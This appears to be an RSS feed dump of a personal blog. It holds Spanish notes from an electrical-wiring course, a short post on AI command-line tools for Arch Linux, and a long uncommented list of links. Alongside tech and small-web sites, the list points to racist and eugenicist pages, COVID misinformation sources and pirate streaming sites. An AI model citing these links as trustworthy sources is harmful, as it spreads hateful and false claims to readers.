<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiItcCDng_EtIEEQNnBCPGs81NvO6Qirl5DUHeXKBqk-fQP-pAQFlxnQ-L72lyB_2mx9XVD-53b6xN7YvIogVXwEo7nRx5-8CgHWpLufY_m1zZqitHMnrexdRB8vYyErAOjWIVy9oV21Vq9mfOb0_dk_5MxBYK7vGTYRCAPA1aykWEVPy4LLgVpq6c4kJM/s4160/IMG_20250909_195509402.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgS-E7LuGF3bbNW9Jil0mOj5EZDVsVOgi2HGLU7WRSbCfs-Ng0isvSGSniKcJsMpfORJINxWYtc7Yb60oD3VYCN9SdKFgJvGKW3OCCAJC03kms7BBCRJNzxuABhDAO954UveypQCOfsikbip2PIaA732L6DFxvIQYyMbxTZqkI9wni5gHRGCold4IX1f9s/s4160/IMG_20250910_063954540.jpg" alt=""></p>
<h4 id="transcripción-a-partir-del-minuto-830">Transcripción a partir del minuto 8:30</h4>
<h5 id="explica-como-solucionaron-el-problema-clase-anterior">Explica como solucionaron el problema clase anterior</h5>
<p>Profesor: aquel portalámparas no andaba bien todavía no sabemos por qué pero me parece que era porque estaba flojo, un pequeño desajuste en el tornillo, le tuvo que ajustar un poquito.</p>
<p>Lo importante como detecta si llega tensión allá justo una parte, se probó la continuidad por si era la llave de punto, entonces sin energía y con energía la idea principalmente es saber si el problema radica ahí y yo no tensión 220 allá, o sea que tengo que ir revisando por etapas.</p>
-
Electricidad / Clase 64: Estuve ausente. Día de lluvia. Clase práctica terminaron trabajo en aula.
https://imlauera.github.io/electricidad64/
Tue, 09 Sep 2025 00:34:53 -0300
https://imlauera.github.io/electricidad64/
<p>Estuve ausente.
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVy9ENwmttY5uZbAj2_56v1-915uPlD13A-2aIbThbFtHGFeDa0E67FrDY5zbEGP65DpiOHUKaL8oxAPY4ThQPVdQ39TJBoHILhViMFC9Ccn3pWGI5i62zg77og4UKAvnxZ7lux9sKZxeNL-O939mCGQpNqEdqrzw_LLt4nqQIiGqwpMua4PVmiyN7IHo/s4160/IMG-20250908-WA0003.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDnpLgW6IhYtOFEqAZqqW2ws3uK5Kpzu8qe9V42I6sYQWHm7nb670oWk9WZNOa1Pr7NBiunT6Us-7wds4hUEB7EtJfjxyQm9CtkIegCEcuO-ueIepMRVgozI_gGWtir-6bq_JoUjrEvvKFhkY443Z2iMksBCLz-HS2q3kyd97hc8NLZo4wqW_kC3RqAmg/s4160/IMG-20250908-WA0001.jpg" alt=""></p>
-
AI ArchLinux
https://imlauera.github.io/ai/
Sat, 06 Sep 2025 04:47:42 -0300
https://imlauera.github.io/ai/
<h2 id="-ai-control-on-arch-linux">🐧 AI Control on Arch Linux</h2>
<h3 id="1-ai-in-the-shell">1. <strong>AI in the Shell</strong></h3>
<ul>
<li>
<p><strong>Shell-GPT (<code>sgpt</code>)</strong> → An Arch package in the <strong>AUR</strong>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>yay -S shell-gpt
</span></span></code></pre></div><p>Lets you type things like:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sgpt <span style="color:#e6db74">"find all .mp4 files larger than 1GB and delete them"</span>
</span></span></code></pre></div><p>→ It will generate and (if you approve) run the correct Bash command.</p>
</li>
<li>
<p><strong>Aider</strong> (<a href="https://github.com/paul-gauthier/aider">GitHub</a>) → AI pair-programmer that edits files directly in your repo. AUR package:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>yay -S aider
</span></span></code></pre></div></li>
<li>
<p><strong>ChatGPT in the terminal</strong> (several AUR packages):</p>
-
Links: wiby
https://imlauera.github.io/links_wiby/
Thu, 04 Sep 2025 20:13:39 -0300
https://imlauera.github.io/links_wiby/
<p>gopher://bitreich.org (No es de wiby).</p>
<p>gophers://bitreich.org/1/ia (internet archive proxy)</p>
<p><a href="https://whitefiles.org/">https://whitefiles.org/</a></p>
<p><a href="https://her.st/usr/bin/http-a-lost-cause.html">https://her.st/usr/bin/http-a-lost-cause.html</a><br>
<a href="https://her.st/usr/bin/which-browser-for-privacy.html">https://her.st/usr/bin/which-browser-for-privacy.html</a><br>
<a href="https://stallman.org/archives/2025-may-aug.html">https://stallman.org/archives/2025-may-aug.html</a></p>
<p>amfora gemini://gus.guru/</p>
<p><a href="https://www.marginalia.nu/log/45-unfuck-internet-discoverability/">https://www.marginalia.nu/log/45-unfuck-internet-discoverability/</a><br>
<a href="https://backlit.neocities.org/how-to-find-the-lost-web">https://backlit.neocities.org/how-to-find-the-lost-web</a><br>
<a href="https://www.burzum.org/eng/library/thulean_perspective/understanding_iq_in_europe.shtml">https://www.burzum.org/eng/library/thulean_perspective/understanding_iq_in_europe.shtml</a> <br>
<a href="http://www.londonhistoricalsociety.com/">http://www.londonhistoricalsociety.com/</a> <br>
<a href="http://www.lergirlz.com/LerGirlzAreVeryVeryVeryVeryVeryAngry.html">http://www.lergirlz.com/LerGirlzAreVeryVeryVeryVeryVeryAngry.html</a> <br>
<a href="https://plato.stanford.edu/ARCHIVES/WIN2009/entries/rationalism-empiricism/">https://plato.stanford.edu/ARCHIVES/WIN2009/entries/rationalism-empiricism/</a> <br>
<a href="https://dis.tinychan.net/read/lounge/1429497540">https://dis.tinychan.net/read/lounge/1429497540</a> <br>
<a href="https://hdmtp.github.io/blog.html">https://hdmtp.github.io/blog.html</a> <br>
<a href="https://www.britishmeat.com/bowel-cancer/meat.html">https://www.britishmeat.com/bowel-cancer/meat.html</a> <br>
<a href="http://sunray22b.net/opinion_pieces.htm">http://sunray22b.net/opinion_pieces.htm</a> <br>
<a href="https://explore2.marginalia.nu/search?domain=digdeeper.club">https://explore2.marginalia.nu/search?domain=digdeeper.club</a> <br>
<a href="https://practicenotes.org/vol9_no2/basic.htm">https://practicenotes.org/vol9_no2/basic.htm</a> <br>
<a href="https://www.britishmeat.com/bowel-cancer/meat.html">https://www.britishmeat.com/bowel-cancer/meat.html</a> <br>
<a href="https://www.britishmeat.com/low-intelligence.html">https://www.britishmeat.com/low-intelligence.html</a> <br>
<a href="https://stallman.org/articles/dont-watch-covid-tv.html">https://stallman.org/articles/dont-watch-covid-tv.html</a> <br>
<a href="https://stallman.org/amazon.html">https://stallman.org/amazon.html</a> <br>
<a href="https://www.miskatonic.org/posts/all/">https://www.miskatonic.org/posts/all/</a> <br>
<a href="http://www.tastyfish.cz/startpage.html">http://www.tastyfish.cz/startpage.html</a>
<a href="https://toobnix.org/videos/browse">https://toobnix.org/videos/browse</a> <br>
<a href="http://fr33d0m.freeshell.org/">http://fr33d0m.freeshell.org/</a> <br>
<a href="http://freeshell.org/">http://freeshell.org/</a> <br>
<a href="https://eldritchdata.neocities.org/">https://eldritchdata.neocities.org/</a> <br>
<a href="https://inpieces.rip/writing/stop">https://inpieces.rip/writing/stop</a> <br>
<a href="https://neocities.org/site/pornisdicey">https://neocities.org/site/pornisdicey</a> <br>
<a href="https://pornisdicey.neocities.org/old_home/">https://pornisdicey.neocities.org/old_home/</a> <br>
<a href="https://sheffield.indymedia.org.uk/2016/05/525041.html">https://sheffield.indymedia.org.uk/2016/05/525041.html</a> <br>
<a href="https://spyware.neocities.org/articles/discord">https://spyware.neocities.org/articles/discord</a> <br>
<a href="https://pornisdicey.neocities.org/old_home/">https://pornisdicey.neocities.org/old_home/</a> <br>
<a href="https://mikegerwitz.com/">https://mikegerwitz.com/</a> <br>
<a href="http://openpsychometrics.org/tests/FSIQ/">http://openpsychometrics.org/tests/FSIQ/</a> <br>
<a href="https://pornisdicey.neocities.org/blog/Feb_2024/nicotine-caffeine-porn/">https://pornisdicey.neocities.org/blog/Feb_2024/nicotine-caffeine-porn/</a> <br>
<a href="https://rense.com//general21/israelissaidrunningporn.htm">https://rense.com//general21/israelissaidrunningporn.htm</a> <br>
<a href="http://henrymakow.com/2023/09/porn-made-us-passive.html">http://henrymakow.com/2023/09/porn-made-us-passive.html</a> <br>
<a href="https://pornisdicey.neocities.org/blog/Mar_2024/recipe_for_belief/">https://pornisdicey.neocities.org/blog/Mar_2024/recipe_for_belief/</a> <br>
<a href="https://spyware.neocities.org/articles/discord">https://spyware.neocities.org/articles/discord</a> <br>
<a href="https://www.jesus-is-savior.com/Testimonies/help_quit_dirty_pictures.htm">https://www.jesus-is-savior.com/Testimonies/help_quit_dirty_pictures.htm</a> <br>
<a href="https://beastie.codeberg.page/">https://beastie.codeberg.page/</a> <br>
<a href="https://explore2.marginalia.nu/search?domain=https%3A%2F%2Feldritchdata.neocities.org%2F">https://explore2.marginalia.nu/search?domain=https%3A%2F%2Feldritchdata.neocities.org%2F</a> <br>
<a href="https://www.jesus-is-savior.com/Testimonies/help_quit_dirty_pictures.htm">https://www.jesus-is-savior.com/Testimonies/help_quit_dirty_pictures.htm</a> <br>
<a href="https://gearjail.codeberg.page/palearch.html">https://gearjail.codeberg.page/palearch.html</a> <br>
<a href="https://ijver.me/en/blog/">https://ijver.me/en/blog/</a> <br>
<a href="https://ijver.me/en/blog/xmpp-explained/">https://ijver.me/en/blog/xmpp-explained/</a> <br>
<a href="https://gearjail.codeberg.page/genshinreview.html">https://gearjail.codeberg.page/genshinreview.html</a> <br>
<a href="https://dismail.de/">https://dismail.de/</a> <br>
<a href="https://gearjail.codeberg.page/genshinreview.html">https://gearjail.codeberg.page/genshinreview.html</a></p>
<h6 id="interesante-buscador">Interesante buscador</h6>
<p><a href="https://explore2.marginalia.nu/search?domain=classics.mit.edu">https://explore2.marginalia.nu/search?domain=classics.mit.edu</a> <br>
<a href="https://explore2.marginalia.nu/search?domain=inv.nadeko.net">https://explore2.marginalia.nu/search?domain=inv.nadeko.net</a> <br>
<a href="https://blog.craftyguy.net/sendxmpp-mms/">https://blog.craftyguy.net/sendxmpp-mms/</a> <br>
<a href="http://sunray22b.net/internet.htm">http://sunray22b.net/internet.htm</a> <br>
<a href="http://www.altcancer.net/news/coronavirus2Nov20.htm">http://www.altcancer.net/news/coronavirus2Nov20.htm</a> <br>
<a href="http://sunray22b.net/">http://sunray22b.net/</a> <br>
<a href="http://atlasf1.autosport.com/news/1998/648.htm">http://atlasf1.autosport.com/news/1998/648.htm</a> <br>
<a href="https://metamorphosis.neocities.org/">https://metamorphosis.neocities.org/</a> <br>
<a href="http://www.altcancer.net/news/coronavirus2Sep20.htm">http://www.altcancer.net/news/coronavirus2Sep20.htm</a> <br>
<a href="https://ffprofile.com/#form0">https://ffprofile.com/#form0</a> <br>
<a href="https://manuelmoreale.com/yet-another-year-of-living-without">https://manuelmoreale.com/yet-another-year-of-living-without</a> <br>
<a href="http://www.tastyfish.cz/lrs/marketing.html">http://www.tastyfish.cz/lrs/marketing.html</a></p>
<p><a href="https://thelinuxcast.org/posts/episodes/season9/05/">https://thelinuxcast.org/posts/episodes/season9/05/</a>
<a href="https://kkocdko.site/post/202306050253">https://kkocdko.site/post/202306050253</a>
<a href="https://crackstreams.ch/MMA-stream/">https://crackstreams.ch/MMA-stream/</a>
<a href="https://methstreams.cx/">https://methstreams.cx/</a>
<a href="https://whisper.ggerganov.com/">https://whisper.ggerganov.com/</a><br>
<a href="https://cursoelectricidad.github.io/">https://cursoelectricidad.github.io/</a><br>
<a href="https://strikeout.im/">https://strikeout.im/</a><br>
<a href="https://old.reddit.com/r/kde/comments/1d1jole/falkon_a_guide_to_block_all_the_ads/">https://old.reddit.com/r/kde/comments/1d1jole/falkon_a_guide_to_block_all_the_ads/</a><br>
<a href="https://cursoelectricidad.github.io/53clase.html">https://cursoelectricidad.github.io/53clase.html</a><br>
<a href="https://greasyfork.org/">https://greasyfork.org/</a><br>
<a href="https://wok.oblomov.eu/">https://wok.oblomov.eu/</a><br>
<a href="https://old.reddit.com/r/devsarg/comments/177zi4b/listado_de_tecnicaturas_gratuitas_a_distancia/">https://old.reddit.com/r/devsarg/comments/177zi4b/listado_de_tecnicaturas_gratuitas_a_distancia/</a><br>
<a href="https://wearechecking.online/">https://wearechecking.online/</a><br>
<a href="https://f1live2.vercel.app/">https://f1live2.vercel.app/</a><br>
<a href="https://cryptpad.disroot.org/">https://cryptpad.disroot.org/</a><br>
<a href="https://wearechecking.online/streams-pages/motorsports">https://wearechecking.online/streams-pages/motorsports</a><br>
<a href="https://pad.disroot.org/p/tmp">https://pad.disroot.org/p/tmp</a><br>
<a href="https://searx.space/">https://searx.space/</a><br>
<a href="https://gremlin.neocities.org/home">https://gremlin.neocities.org/home</a><br>
<a href="http://www.tastyfish.cz/#works">http://www.tastyfish.cz/#works</a><br>
<a href="http://www.tastyfish.cz/lrs/future.html">http://www.tastyfish.cz/lrs/future.html</a><br>
<a href="https://www.getshifter.io/static-site-comments/">https://www.getshifter.io/static-site-comments/</a><br>
<a href="https://videos.icum.to/w/114Jome5jM7MafaByNKna5">https://videos.icum.to/w/114Jome5jM7MafaByNKna5</a><br>
<a href="https://builtwith.com/">https://builtwith.com/</a><br>
<a href="https://solar.lowtechmagazine.com/">https://solar.lowtechmagazine.com/</a><br>
<a href="https://gopher.floodgap.com/gopher/gw?=bitreich.org+70+312f">https://gopher.floodgap.com/gopher/gw?=bitreich.org+70+312f</a><br>
<a href="https://solar.lowtechmagazine.com/2023/12/how-to-build-a-small-solar-power-system/">https://solar.lowtechmagazine.com/2023/12/how-to-build-a-small-solar-power-system/</a><br>
<a href="https://translate.lurkmore.com/?engine=google">https://translate.lurkmore.com/?engine=google</a><br>
<a href="https://www.lurkmore.com/view/Main_Page">https://www.lurkmore.com/view/Main_Page</a><br>
<a href="https://tubgurl.com/ashleyj/thread/31702.html#31702">https://tubgurl.com/ashleyj/thread/31702.html#31702</a><br>
<a href="https://videos.icum.to/videos/overview">https://videos.icum.to/videos/overview</a><br>
<a href="https://videos.icum.to/c/1337h4x0ring/videos">https://videos.icum.to/c/1337h4x0ring/videos</a><br>
<a href="https://textsynth.com/completion.html">https://textsynth.com/completion.html</a><br>
<a href="https://bkhome.org/shellcms/">https://bkhome.org/shellcms/</a><br>
<a href="https://bkhome.org/shellcms/installing-shellcms-as-a-blog.html">https://bkhome.org/shellcms/installing-shellcms-as-a-blog.html</a><br>
<a href="http://shittyweb.org/index.xhtml">http://shittyweb.org/index.xhtml</a><br>
<a href="https://backlit.neocities.org/">https://backlit.neocities.org/</a><br>
<a href="https://smit17.netlify.app/posts/how-to-install-drual8-on-archlinux/">https://smit17.netlify.app/posts/how-to-install-drual8-on-archlinux/</a><br>
<a href="http://boredmob.com/">http://boredmob.com/</a><br>
<a href="https://sysprog21.github.io/lkmpg/">https://sysprog21.github.io/lkmpg/</a><br>
<a href="https://bkhome.org/shellcms/install-at-top-level-as-document-manager.html">https://bkhome.org/shellcms/install-at-top-level-as-document-manager.html</a><br>
<a href="http://www.tastyfish.cz/lrs/c_tutorial.html">http://www.tastyfish.cz/lrs/c_tutorial.html</a><br>
<a href="http://www.tastyfish.cz/lrs/work.html">http://www.tastyfish.cz/lrs/work.html</a><br>
<a href="https://kiwifarms.st/">https://kiwifarms.st/</a><br>
<a href="http://hyperphysics.phy-astr.gsu.edu/hbasees/hframe.html">http://hyperphysics.phy-astr.gsu.edu/hbasees/hframe.html</a><br>
<a href="https://pimpgpt.com/">https://pimpgpt.com/</a><br>
<a href="https://www.brendangregg.com/blog/2025-05-22/3-years-of-extremely-remote-work.html">https://www.brendangregg.com/blog/2025-05-22/3-years-of-extremely-remote-work.html</a><br>
<a href="http://sunray22b.net/Colour_of_Crime.htm">http://sunray22b.net/Colour_of_Crime.htm</a><br>
<a href="https://www.mojeek.com/search?q=how+to+drop+out">https://www.mojeek.com/search?q=how+to+drop+out</a><br>
<a href="http://digdeeper.love/articles/search.xhtml">http://digdeeper.love/articles/search.xhtml</a><br>
<a href="https://www.metacrawler.com/serp?q=how+to+drop+out&sc=mJYazMBpFdlK10">https://www.metacrawler.com/serp?q=how+to+drop+out&sc=mJYazMBpFdlK10</a><br>
<a href="http://www.altcancer.net/news/coronavirus2Nov20.htm">http://www.altcancer.net/news/coronavirus2Nov20.htm</a><br>
<a href="http://sunray22b.net/opinion_pieces.htm">http://sunray22b.net/opinion_pieces.htm</a><br>
<a href="https://www.miskatonic.org/posts/all/">https://www.miskatonic.org/posts/all/</a><br>
<a href="https://explore2.marginalia.nu/">https://explore2.marginalia.nu/</a><br>
<a href="https://explore2.marginalia.nu/search?domain=wiby.me">https://explore2.marginalia.nu/search?domain=wiby.me</a><br>
<a href="https://eldritchdata.neocities.org/">https://eldritchdata.neocities.org/</a><br>
<a href="https://explore2.marginalia.nu/search?domain=digdeeper.club">https://explore2.marginalia.nu/search?domain=digdeeper.club</a><br>
<a href="https://explore2.marginalia.nu/search?domain=www.gameboomers.com">https://explore2.marginalia.nu/search?domain=www.gameboomers.com</a><br>
<a href="https://unixdigest.com/">https://unixdigest.com/</a><br>
<a href="https://ffprofile.com/#form0">https://ffprofile.com/#form0</a><br>
<a href="http://www.tastyfish.cz/lrs/marketing.html">http://www.tastyfish.cz/lrs/marketing.html</a><br>
<a href="https://manuelmoreale.com/yet-another-year-of-living-without">https://manuelmoreale.com/yet-another-year-of-living-without</a><br>
<a href="https://chadnet.org/">https://chadnet.org/</a><br>
<a href="https://freerepublic.com/home.htm">https://freerepublic.com/home.htm</a></p>
<p><a href="https://sheep.horse/2011/6/state_highway_death_-_turn_right_for_murder.html">https://sheep.horse/2011/6/state_highway_death_-_turn_right_for_murder.html</a></p>
<p><a href="https://www.uam.mx/difusion/revista/julio-agosto98/osadia.html">https://www.uam.mx/difusion/revista/julio-agosto98/osadia.html</a><br>
<a href="https://jesus-is-savior.com/Evils%20in%20America/Feminism/effect_of_sexual_deprivation.htm">https://jesus-is-savior.com/Evils%20in%20America/Feminism/effect_of_sexual_deprivation.htm</a><br>
<a href="http://mudcat.org/">http://mudcat.org/</a><br>
<a href="https://dukenukemis.cool/manifesto/">https://dukenukemis.cool/manifesto/</a><br>
<a href="https://paulgraham.com/when.html">https://paulgraham.com/when.html</a><br>
<a href="http://www.altcancer.net/news/coronavirus2Sep20.htm">http://www.altcancer.net/news/coronavirus2Sep20.htm</a><br>
<a href="https://mailstar.net/coronavirus.html">https://mailstar.net/coronavirus.html</a><br>
<a href="https://www.bibliotecapleyades.net/ciencia3/ciencia_coronavirus224.htm">https://www.bibliotecapleyades.net/ciencia3/ciencia_coronavirus224.htm</a><br>
<a href="https://www.bibliotecapleyades.net/ciencia3/ciencia_who-oms.htm">https://www.bibliotecapleyades.net/ciencia3/ciencia_who-oms.htm</a><br>
<a href="https://backlit.neocities.org/how-to-find-the-lost-web">https://backlit.neocities.org/how-to-find-the-lost-web</a><br>
<a href="http://www.altcancer.net/news/coronavirus2.htm">http://www.altcancer.net/news/coronavirus2.htm</a><br>
<a href="https://justhackerthings.com/">https://justhackerthings.com/</a><br>
<a href="https://marginalia-search.com/">https://marginalia-search.com/</a><br>
<a href="https://her.st/">https://her.st/</a><br>
<a href="https://her.st/usr/bin/freedom.html">https://her.st/usr/bin/freedom.html</a><br>
<a href="http://vertsluisants.fr/index.php?article4/where-scihub-libgen-server-down">http://vertsluisants.fr/index.php?article4/where-scihub-libgen-server-down</a><br>
<a href="https://proxyof2.com/libgen-proxy-unblock-access/">https://proxyof2.com/libgen-proxy-unblock-access/</a><br>
<a href="https://annas-archive.org/search?q=milei">https://annas-archive.org/search?q=milei</a><br>
<a href="https://www.marginalia.nu/log/">https://www.marginalia.nu/log/</a><br>
<a href="https://www.marginalia.nu/log/a_100_reddit_spam/">https://www.marginalia.nu/log/a_100_reddit_spam/</a><br>
<a href="http://www.gestenqsye.50megs.com/">http://www.gestenqsye.50megs.com/</a><br>
<a href="http://www.theoldrobots.com/index2.html">http://www.theoldrobots.com/index2.html</a><br>
<a href="https://peelopaalu.neocities.org/">https://peelopaalu.neocities.org/</a><br>
<a href="http://www.theoldrobots.com/download.html">http://www.theoldrobots.com/download.html</a><br>
<a href="https://www.amp-what.com/unicode/search/car">https://www.amp-what.com/unicode/search/car</a><br>
<a href="http://theoldnet.com/">http://theoldnet.com/</a><br>
<a href="https://curlie.org/">https://curlie.org/</a><br>
<a href="https://spyware.neocities.org/">https://spyware.neocities.org/</a><br>
<a href="http://www.oldavista.com/">http://www.oldavista.com/</a><br>
<a href="https://emilyd.neocities.org/mycovidwebpage">https://emilyd.neocities.org/mycovidwebpage</a><br>
<a href="https://dimden.dev/">https://dimden.dev/</a><br>
<a href="https://cerebraldatabank.neocities.org/games/">https://cerebraldatabank.neocities.org/games/</a><br>
<a href="https://wormhole.app/">https://wormhole.app/</a><br>
<a href="https://cdn.croxyproxy.com/">https://cdn.croxyproxy.com/</a><br>
<a href="https://www.vidlii.com/user/RainyDay">https://www.vidlii.com/user/RainyDay</a><br>
<a href="http://theoldnet.com/">http://theoldnet.com/</a><br>
<a href="https://landchad.net/">https://landchad.net/</a><br>
<a href="https://www.gnoosic.com/artist/mister+monster">https://www.gnoosic.com/artist/mister+monster</a><br>
<a href="https://womenoftheinternet.neocities.org/">https://womenoftheinternet.neocities.org/</a><br>
<a href="http://musgle.com/">http://musgle.com/</a></p>
<p><a href="https://a.nwps.fi">https://a.nwps.fi</a>
<a href="https://lumpysoft.com">https://lumpysoft.com</a>
<a href="https://basedsites.neocities.org">https://basedsites.neocities.org</a>
<a href="https://reckful-archive.org">https://reckful-archive.org</a>
<a href="https://eugenicide.com/unsuitable.mp4">https://eugenicide.com/unsuitable.mp4</a>
<a href="https://0x19.org/posts">https://0x19.org/posts</a>
<a href="https://0x19.org/posts/2022-09-18.php">https://0x19.org/posts/2022-09-18.php</a>
<a href="https://namehack.club">https://namehack.club</a>
<a href="https://stract.com">https://stract.com</a>
<a href="https://0x19.org/posts/2024-10-20.php">https://0x19.org/posts/2024-10-20.php</a>
<a href="https://0x19.org/index.php">https://0x19.org/index.php</a>
<a href="https://www.billdietrich.me/PenetrationTestingAndBugBountyHunting.html#BecomingABugBountyHunter">https://www.billdietrich.me/PenetrationTestingAndBugBountyHunting.html#BecomingABugBountyHunter</a>
<a href="https://no-js.club/members">https://no-js.club/members</a>
<a href="https://textonly.website">https://textonly.website</a>
<a href="https://texto-plano.xyz/~emilio">https://texto-plano.xyz/~emilio</a>
<a href="https://texto-plano.xyz">https://texto-plano.xyz</a>
<a href="https://texto-plano.xyz/">https://texto-plano.xyz/</a>
<a href="https://www.karl.berlin/static-site.html">https://www.karl.berlin/static-site.html</a>
<a href="https://sqvrltastic.art/simple-recipes/pastry">https://sqvrltastic.art/simple-recipes/pastry</a>
<a href="https://port19.xyz/tech/emacs">https://port19.xyz/tech/emacs</a>
<a href="https://podcast.texto-plano.xyz/podcast/2025/08/24/la-smol-web.html">https://podcast.texto-plano.xyz/podcast/2025/08/24/la-smol-web.html</a></p>
<p><a href="https://github.com/karlb/astridbartel.de/blob/master/Makefile">https://github.com/karlb/astridbartel.de/blob/master/Makefile</a>
<a href="https://benhoyt.com/writings/the-small-web-is-beautiful">https://benhoyt.com/writings/the-small-web-is-beautiful</a>
<a href="https://godteeth.com">https://godteeth.com</a>
<a href="https://w3.next.gen.oh.us/~asm">https://w3.next.gen.oh.us/~asm</a>
<a href="https://w3.next.gen.oh.us/~cm">https://w3.next.gen.oh.us/~cm</a></p>
-
Electricidad / Clase 63: Clase práctica. Terminamos cableado, terminamos tablero, comprobamos continuidad y agregamos lámparas.
https://imlauera.github.io/electricidad63/
Thu, 04 Sep 2025 01:24:29 -0300
https://imlauera.github.io/electricidad63/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://voca.ro/1jqYBIltZCqy">https://voca.ro/1jqYBIltZCqy</a></p>
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/record-247">https://archive.org/details/record-247</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/watch?v=Kpv1OYcVe-I">https://www.youtube.com/watch?v=Kpv1OYcVe-I</a></p>
<h4 id="video-realizando-el-cableado-del-tablero">Video realizando el cableado del tablero:</h4>
<p><a href="https://youtu.be/14oA0bs2NL4">https://youtu.be/14oA0bs2NL4</a></p>
<h3 id="resubido-por-las-dudas">Resubido por las dudas</h3>
<p><a href="https://www.youtube.com/watch?v=ay0qKXi5nMg">https://www.youtube.com/watch?v=ay0qKXi5nMg</a></p>
<p><a href="https://archive.org/details/clase_64">https://archive.org/details/clase_64</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjS6rm7oT5sCQNcS5SCGjvdZkIM52h06MxYSKORzLhavR0SjOIE3nCtohmUWnBz3F1jPq4HbzltKWd2mTbYTJEFuYGcrt_eJp7xE-SdkRyDfD6WzyYvADPur5-H7bdFWHzrIuLlpMemo7GQeWxWimnH8kav2dG58yUQnqIa8CIJtZ5iRLWkpv2zxpP4l9U/s4160/IMG_20250902_195158845.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8u19H4x_ZODuk8mmMXJxA3IuooCaKQYzd69LjP2zIVBp6jdjdbTJgaG6qhfhTi6K2pEGi6CWKPXBNL3kA9fKpEHAwusoLLgLCxbhR2Ivm4P4QcJ4O_A6I90Eh7w5dibS2s91oTBy2pJilDlu_bslVhzkTyf-cPocGriwovO6nUMGCZFwZn31IZVcBxok/s4160/IMG_20250902_195934904.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoIerldKxFLWRORx5Usz0jV9miOiqxnuWQhTiSsoi_RZnsog-Vh4QBLcptLujVwMvVJinVRNLXz7atVc5mdM5d6O63nXrYKt1pSjo2YQvrLw1qGp9UJViVvTSYPSi9zQqR0zu5euEZvRYyZKYzedhTxbHQE9H-UQPrCNYPyA72hgMnzQAO9zn2WqzGtj8/s4160/IMG_20250902_201049928.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsolK6Rip4JKzNEIEezag2n9ORL1RkN8Aua0FzngvJ5w3rm9DUQYh8-v7XPn8wZTSeoeQtjpAH2rI3MdIg4cnYdWyiCw3_I44Bkz2C5HY614i8mvpuZXmL_UiaXaofu3wPExfrK4WV43bUvqLBBe8sQ17HBON_lJ382JHyJGyooc6MIj9W6qjhx3KYGKM/s4160/IMG_20250903_192613177.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0H45PP3puPnONUDrF4YTVzUlL6vS0_D7ZfyodDwDTdQo2YWqVhLRtzFkNNyKjP_OSxiwLivVC1FeSNMNxqTcCFOHsHsFv-kIx-HPqrRkilNaB5Tx5NvlBqzbiVssAqUxFx3g1R6Gn0p6Dn598j1wii3Yh9uLYViKbPwBUIJSDDbSMm1aBf8yuBZasRII/s4160/IMG_20250903_192632070.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh75J50FgfPPpNrOw3W0gHnfJLRz6aH-81QmbQxEQrDCWkDe9XsO41T4GlCtasILVWXc3UkWQos3WPwMicISWNAslvepOtYHXttgfDhOTHMBxBL1E1vS-steJyBQAQ4ahmOfbl58_vGuoTlO79kqWEYNhwktzpiICRHWcGnIaex44e-kI7ntVl109O4M_w/s4160/IMG_20250903_193643663.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMXUAaiWumNgWelCHAHEw1wXV5Z_DL0e3ZliZKwDbmdUNx_zUub-1NSNZ0zi4yGTbQyjuqJb3h3NHvnkOwLEp8LO3GtbQPBxCgj-Nunj6SaZOU59g6vwx5X6gX0dOUarg9t-ap0pAwMK9EOGm0MKwpGf3tfmSHbi2cL_xO3SWzYGf6APS-2LEbjgMV7XM/s4160/IMG_20250903_195436352.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiIwkZRUf7bGGh6PUZr0H-bs9339Rs-goi0Lu7ZIMMHNBIs-5xaCnHGtLSi5RP45-UZtvi0gExd91fiBxF9cpWUliekEGiOdNHy1Ad7wf2KDVtoNcr3c1gHrqq4A7EuTGmGlARJUYJ-2_-bkCJd2mI1HLSy1llHohk9iX5obO6cKMlJB5Lwz3sBgAfM08/s4160/IMG_20250903_195545201.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_TzzJuqEsHOcQHXxCMVccrETVlNWH2TgI3_ulFHPkxxpvjUI-N37mbmo3Q6kfGDrVYe_QSavt2F02HNlswg28yB75g1dBUluRaxzurmJvq2EaFM9GrGIVlvCLCS9NVk5Z-f4YZYFwIuBmhF6oTEIk0sR-BNOPBHlOfMccNlpTKA7zpYLKVpJc4AFCoXQ/s4160/IMG_20250903_195823951.jpg" alt="">
